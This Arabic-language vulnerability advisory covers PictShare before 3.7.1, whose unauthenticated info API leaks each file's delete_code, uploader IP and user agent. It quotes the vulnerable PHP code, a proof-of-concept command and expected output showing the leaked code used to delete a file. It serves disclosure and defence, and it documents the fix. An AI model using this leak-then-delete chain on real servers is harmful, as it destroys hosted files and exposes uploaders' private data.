الكشف عن معلومات حساسة عبر info API في PictShare < 3.7.1 (CWE-522). PoC + تقرير استشاري.
info API في PictShareبحث أمني مصرّح به. إثبات المفهوم (PoC) لأغراض دفاعية وتعليمية فقط.
تُعيد نقطة النهاية /api/info/<hash> في PictShare
كائن البيانات الوصفية الخام الكامل لأي ملف تم رفعه — بما في ذلك delete_code السري
الذي يصرّح بالحذف، بالإضافة إلى عنوان IP الخاص بالرافع وUser-Agent والمنفذ البعيد و
SHA-1. يمكن لمهاجم غير مُصادَق عليه يعرف تجزئة (hash) الملف (المرئية علنًا) أن يقرأ
delete_code الخاص به ثم يحذف بشكل دائم أي ملفات مستضافة عشوائية.
| CVE | CVE-2026-104051 |
| المنتج | PictShare (مضيف صور/وسائط مستضاف ذاتيًا) |
| المتأثر | >= 2.0.0، < 3.7.1 |
| تم الإصلاح في | v3.7.1 |
| الثغرة | بيانات اعتماد غير محمية بشكل كافٍ (CWE-522) → حذف ملفات عشوائي + فقدان الخصوصية |
| الصلاحيات | لا شيء (غير مُصادَق عليه) |
| CVSS 3.1 | 8.2 HIGH — AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H |
| CVSS 4.0 | 8.8 HIGH — AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H |
| اكتُشفت بواسطة | Alisher Qarshibayev |
| الإشعار الأمني | VulnCheck |
تبحث API::info() عن التجزئة وتُعيد getMetadataOfHash() حرفيًا — دون قائمة
حقول مسموح بها:
// src/inc/api.class.php (< 3.7.1)
public function info()
{
$hash = $this->url[1] ?? '';
if (!$hash) return ['status' => 'err', 'reason' => 'Missing hash'];
if (!isExistingHash($hash)) return ['status' => 'err', 'reason' => 'Hash not found'];
return getMetadataOfHash($hash); // <-- raw meta.json, includes delete_code, ip, useragent
}
وcheckPermissions() — البوابة الوحيدة قبل مسار info — تتحقق من قابلية الكتابة على
نظام الملفات، وليس من الهوية، لذا يمكن الوصول إلى info دون مصادقة:
public function checkPermissions()
{
if (!isFolderWritable(getDataDir())) throw new Exception('Data directory not writable');
else if (!isFolderWritable(ROOT.DS.'tmp')) throw new Exception('Temp directory not writable');
}
تحتوي البيانات الوصفية المُعادة على delete_code، الذي تقبله واجهة الحذف كسر
التصريح الوحيد:
// src/inc/api.class.php delete()
$correctCode = getDeleteCodeOfHash($hash);
if ($correctCode !== $code && $masterCode !== $code)
return ['status' => 'err', 'reason' => 'Invalid delete code'];
deleteHash($hash);
تجزئات الملفات عامة (تظهر في كل رابط صورة مُشاركة)، لذا فإن السلسلة كاملة —
تسريب الرمز عبر info، ثم الحذف عبر delete — لا تحتاج سوى الرابط الذي شاركه
المستخدم بالفعل.
python3 poc.py --url https://pics.example.com --hash <public_file_hash>
# add --delete to actually exercise the deletion (destructive) step
النتيجة المتوقعة:
[*] GET /api/info/<hash>
[+] Leaked metadata via info API:
delete_code : 7f3a9c1e... <-- SECRET, should never be exposed
ip : 203.0.113.44 <-- uploader privacy leak
useragent : Mozilla/5.0 ...
remote_port : 51544
sha1 : da39a3ee...
[+] CVE-2026-104051 confirmed: delete_code exposed to unauthenticated caller
[i] With --delete: GET /api/delete/<leaked_code>/<hash> -> {"status":"ok"}
انظر poc.py. الحذف اختياري (--delete) لذا فإن التشغيل الافتراضي
للقراءة فقط وغير مُدمّر.
قم بالترقية إلى PictShare 3.7.1 (commit الإصلاح ce5fc47).
تُعيد info() الآن قائمة بيضاء صارمة (mime، size، hash، sha1، uploaded) ولم
تعد تسرّب delete_code أو ip أو useragent أو remote_port. إرشادات عامة: يجب أن
تحدد استجابات API الحقول بقائمة بيضاء صريحة؛ لا تُسلسل أبدًا سجلًا داخليًا يخلط بين
الأسرار والبيانات العامة.
ذو صلة: CVE-2026-104356 — حتى بدون هذا التسريب، كان
delete_codeقابلًا للتنبؤ لأنه تم توليده باستخدامrand().
| التاريخ | الحدث |
|---|---|
| 2026-10-01 | الكشف العام، حجز ونشر CVE (VulnCheck)، تم الإصلاح في v3.7.1 |
تم الإفصاح عنه بمسؤولية إلى المورّد وتم التنسيق عبر VulnCheck. تم الإصلاح قبل إصدار إثبات المفهوم هذا. نُشر لأغراض دفاعية وتعليمية.